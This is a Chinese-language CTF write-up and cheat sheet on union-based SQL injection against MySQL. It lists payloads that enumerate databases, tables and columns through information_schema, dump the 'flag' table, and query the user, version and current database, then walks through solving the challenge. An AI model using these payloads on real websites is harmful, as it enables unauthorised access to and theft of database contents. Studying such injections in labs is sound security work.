注入语句
(一)列出所有的数据库
从数据库的information_schema中获取数据库的名字
-1' union select 1 , (select schema_name from information_schema.schemata limit 0,1) #
将information_schema.schemata表中所有行的值连接成一个字符串
-1' union select 1,group_concat(schema_name) from information_schema.schemata #
(二).列出(数据库: sqli )中所有的表名
一个一个打出表名
-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #
一次性将表名列出表名
-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #
(三)列出(数据库:sqli 表:flag)中所有的字段名
一个一个打出字段名
-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #
一次性打出所有字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
(四).列出(数据库:sqli表:flag)中字段名的内容
一个一个打出字段名中的内容
-1' union select 1,(select flag from flag) #
一次性打出字段名的内容
-1' union select 1 , group_concat(flag) from flag #
(五)查询用户
-1' union select 1 , user() #
(六)查询数据库版本
-1' union select 1 , version() #
(七)查询当前数据库名称
-1' union select 1 , database() #
题目
首先用-1' union select 1,group_concat(schema_name) from information_schema.schemata #,列出所有的数据库
发现有四个数据库,前三个都是属于系统架构,所以推测flag应该是在sqli里面。
在MSQL中,information_schema
、mysql
、performance_schema
和 sys
这几个数据库(或称为系统架构)是非常重要的。(以下可参考MySQL中的系统数据库:information_schema、mysql、performance_schema、sys_information_schemamysqlperformance_schemasys-CSDN博客
)
information_schema
information_schema 提供了关于数据库元数据的信息。这包括关于数据库中的表、列、索引、约束、视图、函数、过程等的详细信息。
它是一个只读的数据库,你不能在其中创建或修改表。
删除 information_schema 会导致MySQL服务器无法正常工作。
mysql
mysql 数据库包含了MySQL服务器的系统表。这些表存储了用户账户信息、权限、服务器配置参数等。
删除 mysql 数据库或其中的表可能会导致你无法登录到MySQL服务器,或者丢失重要的系统配置和账户信息。
performance_schema
performance_schema 提供了关于MySQL服务器性能的详细信息。这包括关于查询执行、锁、内存使用等的统计信息。
它可以帮助数据库管理员诊断性能问题。
删除 performance_schema 会导致你失去这些性能统计信息。
sys
sys 数据库提供了一组视图、函数和过程,用于更方便地访问 performance_schema 和 information_schema 中的信息。
这些视图和函数可以帮助你更容易地理解和分析MySQL服务器的性能。
删除 sys 数据库不会直接影响MySQL服务器的核心功能,但你会失去这些方便的视图和函数。
所以下一步列出这个数据库的所有表名,用-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #
发现这个数据库里有一个名为flag的表名。
接下来查看flag表名下的字段名,用-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
最后就是查看flag字段的内容,用-1' union select 1 , group_concat(flag) from flag #